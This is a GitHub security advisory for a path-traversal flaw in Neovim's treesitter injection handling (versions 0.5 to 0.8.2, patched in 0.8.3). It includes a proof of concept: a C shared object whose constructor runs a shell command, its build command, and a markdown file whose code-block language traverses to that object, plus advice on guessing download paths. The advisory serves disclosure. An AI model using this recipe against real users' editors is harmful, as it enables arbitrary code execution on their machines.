Skip to content

Arbitrary code execution when using treesitter with injections

Moderate
bfredl published GHSA-6f9m-hj8h-xjgj Feb 10, 2023

Package

neovim

Affected versions

>=0.5, <=0.8.2

Patched versions

0.8.3

Description

Summary

Wanted to try this some time ago, and forgot about it, saw some activity around this code recently, and it came to my mind again :D

When using treesitter with injections, Neovim will try to inject the captured language by its name

local has_lang = language.require_language(lang, nil, true)

Loading a language basically means searching for that name in the runtime directory and loading the shared object found in that location.

Neovim concatenates the name of the language as is, making it vulnerable to path traversal, an attacker can use this to load a malicious shared object and execute any arbitrary commands.

local fname = 'parser/' .. vim.fn.fnameescape(lang) .. '.*'
local paths = a.nvim_get_runtime_file(fname, false)

PoC

Create a malicious shared object to test the vulnerability

// gcc -shared -o exploit.so -fPIC exploit.c
#include<stdio.h>
#include<stdlib.h>
static void poc() __attribute__((constructor));

void poc() {
    system("touch /tmp/pwn-nvim");
}

Enable treesitter with injections using arbitrary language name capture, an easy way is by using the https://github.com/nvim-treesitter/nvim-treesitter/ plugin and enabling it for the markdown filetype and the "highlight" feature.

Open a file that supports injections given this language name, for example markdown,
and set the language of the code-block to a path that points to the malicious shared object.

exploit.md

This file will load a malicious shared object.
```../../exploit
Code block with the language name pointing to the malicious shared object
```

The path can be derived from any runtime path, like the parser directory from where nvim-treesitter is installed, and traverse the runtime directory to where the malicious shared object is.

For example, having a directory structure like:

  • /tmp/exploit.so
  • /tmp/nvim-tresitter/
  • /exploit.md

will require the language name to be ../../exploit

References

Impact

An attacker can use this vulnerability to execute arbitrary commands.
Exploiting this vulnerability requires the user to download two files, the malicious shared object and the markdown file,
the attacker can put several paths with common destinations for downloads (like ~/Downloads or home), and common destinations for runtime directories and/or plugins in the markdown file to guess from where to load the malicious shared object.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Credits